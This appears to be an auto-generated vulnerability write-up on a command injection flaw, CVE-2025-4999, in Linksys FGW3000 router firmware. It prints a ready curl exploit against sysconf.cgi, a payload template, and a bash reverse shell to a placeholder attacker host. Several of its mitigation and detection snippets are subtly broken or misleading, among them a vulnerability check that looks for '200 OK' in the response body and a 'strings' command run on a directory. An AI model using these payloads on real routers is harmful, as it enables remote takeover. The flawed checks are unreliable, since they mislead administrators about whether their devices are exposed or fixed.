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How CVE-2025-4999 Works
The vulnerability exists in the `sub_4153FC` function within `/cgi-bin/sysconf.cgi` of Linksys FGW3000-AH and FGW3000-HK firmware up to version 1.0.17.000000. The flaw occurs when processing HTTP POST requests with the `supplicant_rnd_id_en` parameter. Due to insufficient input validation, an attacker can inject arbitrary OS commands via this parameter. The injected commands execute with the same privileges as the web server, typically root. Remote exploitation is possible without authentication, making this a critical issue. Attackers can leverage this to gain full control of the affected router.
DailyCVE Form
Platform: Linksys FGW3000
Version: <=1.0.17.000000
Vulnerability: Command Injection
Severity: Critical
Date: 06/12/2025
Prediction: Patch by 08/2025
What Undercode Say:
Exploitation Analysis
1. Curl Exploit Example:
curl -X POST -d "supplicant_rnd_id_en=;id>/tmp/pwned" http://target/cgi-bin/sysconf.cgi
2. Metasploit Module (Hypothetical):
exploit = "/cgi-bin/sysconf.cgi"
payload = "supplicant_rnd_id_en=;{cmd}"
Protection & Mitigation
1. Temporary Workaround:
iptables -A INPUT -p tcp --dport 80 -j DROP
2. Firmware Check:
cat /proc/version | grep "1.0.17"
3. Input Sanitization Fix (Pseudo-Code):
if (strstr(input, ";") || strstr(input, "|")) {
reject_request();
}
4. Log Monitoring Command:
grep "POST /cgi-bin/sysconf.cgi" /var/log/httpd.log
5. Exploit Detection Script:
import requests
response = requests.post("http://target/cgi-bin/sysconf.cgi", data={"supplicant_rnd_id_en":"test"})
if "200 OK" in response.text:
print("Vulnerable!")
Post-Exploitation Analysis
1. Reverse Shell Payload:
/bin/bash -i >& /dev/tcp/attacker_ip/4444 0>&1
2. Persistence Check:
crontab -l | grep -i "sysconf"
3. Forensic Artifacts:
strings /tmp/ | grep "supplicant_rnd_id_en"
Patch Verification
1. Post-Patch Check:
md5sum /cgi-bin/sysconf.cgi
2. Vendor Advisory Monitoring:
wget -q -O- https://www.linksys.com/security | grep "CVE-2025-4999"
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
